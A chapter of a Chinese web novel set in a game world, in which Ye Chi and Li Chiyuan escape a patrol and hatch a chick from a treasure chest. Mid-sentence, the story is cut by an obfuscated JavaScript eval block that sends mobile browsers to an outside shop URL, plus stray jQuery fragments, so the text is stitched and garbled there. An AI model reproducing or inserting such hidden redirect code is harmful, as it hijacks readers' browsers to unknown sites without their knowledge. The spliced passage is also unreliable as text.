“等会儿,你先听我解释!”叶池赶紧举起双手。

    他根本不知道这个世界具体发展到什么程度,也怕说出来系统再让李驰渊当他中邪了把他一枪戳晕了,只好厚着脸皮讪讪地说道:“我是萌新。”

    李驰渊还是满脸狐疑,上上下下打量着他,一脸怀疑:“萌新就知道买外观?”

    叶池诚恳地点点头:“我是韭菜成精。”

    他看李驰渊还是一副半信不信的样子,退两步跟他拉开了距离。笑话,李驰渊要是真看他不顺眼一叉子扎他身上,可有他好受的。

    他死不了不代表不怕疼啊。

    正当他跟李驰渊僵持时,忽然听见树林里呼啦飞出一群乌鸦,只听见远处传来一阵细碎的脚步声和说话声。

    “真是的,这鸟不拉屎的地方谁愿意来啊,还天天得在这巡逻。”一个人粗声粗气地抱怨着。

    “就是,咱这也没啥好东西。”一个尖嗓子应了声。

    叶池他们俩正站在大道上,听着远处的脚步声越来越近,再拐个弯儿就能看见他们。

    他四外张望了一下,周围除了树根本没有遮掩的地方。但李驰渊动作比他快得多,一下子捂住他的嘴就把他往树林里拖。

    “唔唔——”叶池下意识挣扎了一下,李驰渊在他耳边低声道:“别惹麻烦!”

    叶池赶紧闭上嘴点点头,使劲拽李驰渊的手。

    但是对方手劲儿大得很,叶池指指自己的鼻子:捂嘴时候连着鼻子一块儿捂,再过会儿把他给憋死了!

    李驰渊终于松开了手,叶池喘了两口气,跟着李驰渊的步子小心翼翼地往树林深处退。

    那一伙人的脚步声越来越近:“这巡逻什么时候是个头啊,早点换班还能回去喝口酒。”

    那些人的脚步声越来越近。

    天黑上来了,叶池被李驰渊拽着躲到了一颗大树后,他往远处一看,刚才他俩站着的路已经影影绰绰地看不太清了。

    叶池刚松了口气,忽然听见乌鸦“哇”地叫了一声。

    那鸟扑扑楞楞地一下子冲着他脸就扑了上来。叶池被翅膀扇了一脸土,挥手一个劲儿赶那乌鸦。

    没想到他让个乌鸦给弄得这么狼狈。叶池怕惊动了那些巡逻的,根本不敢拔剑,李驰渊的水果叉子在这也施展不开,他一边挥手赶鸟一边往后躲,只听“咔嚓”一声——

    他踩断了一根树枝。

    树林外的脚步声一下子停了下来:“谁!”

    叶池吓得大气不敢出,乌鸦不依不饶,爪子抓上他亮闪闪的肩挂,歪歪扭扭地飞走了。

    “谁在那!”巡逻的已经逼近了树林,正往他们藏身的地方走来。

    叶池小心翼翼地又往后退了一步,好死不死又踩在了刚才那根树枝上。

    这回虽说是没踩断,可他脚下一个滑,来不及扑腾就“咚”地摔了个屁股蹲儿。

    “跑!”李驰渊厉呵一声,打了个口哨,不知从何处飞出一匹无鞍白马,瞬间翻身上马扬长而去。

    叶池只觉得屁股摔成了八瓣儿,连滚带爬地翻身就跑:“你等等我!”

    他刚才起来的时候手上湿乎乎的不知道按到了什么,他也顾不上这些卯足了劲儿追着李驰渊,吃了一嘴的马蹄子尾气:“带带我!”

    “站住!别跑!”身后的巡逻兵在后边连喊带叫地追着叶池。

    叶池往前蹿了个聂云,又接了个玉泉鱼跃,终于能跟李驰渊骑着的白马并驾齐驱,大喊:“李驰渊!师父!爹!救我!”

    李驰渊啧了一声,扯着叶池的胳膊一把把他拖上马:“抓紧!”

    叶池死搂住李驰渊的腰,李驰渊鼻子灵,马上闻出来不对,低头一看,见叶池手上抓了一把鸟屎,怪叫道:“别碰我!也别碰我的马!!!”

    叶池哪里肯听?死死搂住李驰渊不肯松手。李驰渊一手握着马缰一手拍叶池的爪子:“撒开!撒开我!”

    “不放!”叶池胡乱摇头,生怕李驰渊真一下子把他给甩下去。马受了惊,长嘶一声撒蹄狂奔。

    树林里长得乱七八糟,有矮树也有灌木,叶池被树枝抽了几下脸,马上就学聪明了,埋在李驰渊的后背上再不抬头。

    李驰渊也顾不上他,好在他皮糙肉厚,耐抽也耐疼,但架不住他心疼,双手控缰生怕伤了马腿,好不容易才把马勒到正路上去。

    身后的追兵早就不见了,附近错落着几座宫殿,远处隐约能听见有几个人在交谈。

    这里都是台阶,还有些乱石,骑着马反倒不好走,李驰渊翻身下马,也把叶池半拖半拽地拉了下来。

    “吓死我了。”叶池长舒了一口气。

    李驰渊一脸心疼地给马顺着鬃毛,叶池定睛细看,只见这马浑身雪白,马身上隐约显出暗色纹路,正温顺地蹭着李驰渊的手。

    “里飞沙?这马可难得的很。”叶池伸手想摸摸马头。

    李驰渊一巴拍掉他的手,嫌弃道:“别碰,埋汰。”

    叶池没敢说手上的鸟屎早蹭到李驰渊身上了,讪讪地收回了手:“你的马怎么不配鞍?”

    “怎么没配?”李驰渊不屑地瞥了他一眼:“没见识。”

    叶池围着马仔细转了一圈,才发现马蹄、马头和马身上缀着些金属装饰。

    他一下子想起来,之前商城出了一套设计极简的金属马具,因为内容太简单,致使大家骂声一片,戏称这套马具为“空气马具”。

    没想到李驰渊这个穷得马草都买不起的家伙舍得买这个。

    李驰渊又给马喂了把草,拍拍马脖子。里飞沙打了个响鼻,自己走掉了。

    “它去哪了?”叶池问道。

    “我们天策的马一直都会跟在身边,不需要的时候它们自己会找地方休息。”李驰渊解释了一句,环顾四周,脸上也露出些了然的神色:“无量宫?我以前跟朋友来过,你是为了鸡小蒙?”

    “对。”叶池点点头,拉着他避过远处正交谈的几个人:“我接的任务是要送鸡小蒙回藏剑山庄,莫名其妙直接被传到这来了,不小心把你也给拉过来了。”

    “行吧。”李驰渊摸摸下巴点了点头:“来都来了,谁让你是我徒弟呢。”

    叶池之前在无量宫刷了整整一周也没刷出来鸡小蒙,气得再也没进过这个副本。现在站在这儿虽然看着处处都眼熟,却把去哪儿找鸡小蒙给忘了个彻底。

    “你知道在哪摸吗?”叶池虚心求教。

    李驰渊沉吟一会儿点了点头:“等以后出去我帮你问问我朋友。”

    不知道你点什么头啊?叶池刚燃起来的一点儿希望又被浇灭了。他依稀记得鸡小蒙实际上是个鸡蛋,藏在几个箱子里。

    这儿这么多房子,上哪儿找去?

    系统适时蹦了出来:“检测到距取货地点还有一百米哦~是否需要导航?”

    “需要需要。”叶池一下子打起精神,没想到这个不靠谱系统还有靠谱的时候:“哪儿?”

    他眼前被调出了一个虚拟箭头,标着方向和距离。

    李驰渊还在试图回忆:“我依稀记得好像是往这边?”

    “这边。”叶池看他南辕北辙地乱走,招呼了一声。

    路上很静,偶尔能看见几个衣着破烂的村民在一脸疲惫地干活,叶池跟着导航走了一会儿,系统提

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795085|210488||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    示道:“已到达取货地。”

    哪儿呢?叶池四处张望了一下,他印象里那几个箱子好像是在一个凉亭里,但是他看了一圈也没看见哪个柱子底下有箱子。

    “这儿!”不知道李驰渊什么时候钻到了一个树洞里,往外探出半截身子:“过来!”

    叶池定睛一看,连忙小跑过去矮着身子跟着钻进树洞里。

    里面赫然摆着几个红漆铜锁的宝箱。

    “有锁。”李驰渊试着掰了一下,那锁头结实得很,纹丝不动。

    叶池见他拿下了后背上的水果叉子,赶紧把他拦住:“我有钥匙!”

    他从背包里摸出三把钥匙,屏息敛神,小心翼翼地拧开一把锁——

    “啪嗒。”

    宝箱应声而开,叶池和李驰渊都凑上去看,两个脑袋“梆”地一声磕在一起。

    “嘶,你真是——”李驰渊抱怨了一声。

    叶池他头上戴了金饰,被撞得“哎呦”一声,硌一下疼得直淌眼泪,揉着脑袋低头往里看。

    里面安安静静躺着五金。

    “你是不是手太臭了。”李驰渊把那五金捡出来丢到叶池怀里:“洗洗手吧你可。”

    叶池对各种玄学向来深信不疑,但在这人生地不熟的去哪弄水洗手?

    还是李驰渊有办法,他从树洞外抓了一把雪塞到叶池手里:“快擦擦。”

    叶池本来就冷,双手一攥被冰得发僵。雪水在他手里慢慢化掉,他自己又抓了两把雪搓了又搓,虔诚地冲着箱子拜了拜,心里虔诚地默念着:“苍天保佑老天厚爱,信男愿以师父十年单身换一个鸡小蒙——这把一定行。”

    李驰渊莫名觉得有点背后发凉,惹得他伸手摸了摸。

    只见叶池用冻僵的双手捏着钥匙,闭着眼睛哆哆嗦嗦地摸着锁,捣鼓了好几下才打开箱子。他缓了一会儿,把左眼打开一条缝往里一瞄,叹了口气。

    还是五金。

    “你不是藏剑吗?不应该啊。”李驰渊看着两个空箱子,摸着下巴沉思。

    “不对,你这么开箱子就不对。”李驰渊顿悟,指着一个箱子道:“坐上去。”

    叶池二丈和尚摸不着头脑。

    “听我的,为师还能坑你吗?”

    手里就剩一把钥匙了,叶池咬咬牙,一屁股坐在箱子上。

    “叫。”李驰渊道。

    “啊?”

    “啧,你要鸡小蒙不得有个孵蛋的样子?叫!”

    叶池浑身不自在,一咬牙张口道:“叽叽叽叽——”

    “啧,不是,”李驰渊嫌弃得很:“你这是什么鸡,孵蛋的不都是母鸡?重叫!”

    叶池强忍羞耻,闭着眼睛:“咯咯哒咯咯哒——”

    李驰渊从他手里拿过钥匙,一把拧开锁。

    箱子里传来一点奇怪的响声。

    叶池连忙从箱子上下来退后两步,小心翼翼地翻开箱子,弯着腰抻着脖子往里看。

    只见箱子里躺着一个奇怪的鸡蛋,里面正发出细碎的响声。

    两个人屏住呼吸,盯着那个晃动的鸡蛋。

    “咔嚓,咔嚓——”

    鸡蛋晃动得更厉害了,裂出了一道缝隙。

    李驰渊刚要炫耀,叶池用食指堵住了他的嘴:“嘘——”

    又是咔嚓一声响,只见一个黄澄澄毛茸茸的小脑袋顶了出来,一双大得出奇的黑眼睛好奇地四处张望。

    叶池眼珠一错不错地看着鸡小蒙,露出一个如释重负的笑来。

    只见鸡小蒙抬着头跟他对视,扑棱了一下翅膀:“叽——妈妈!妈妈!”

    叶池如遭雷劈。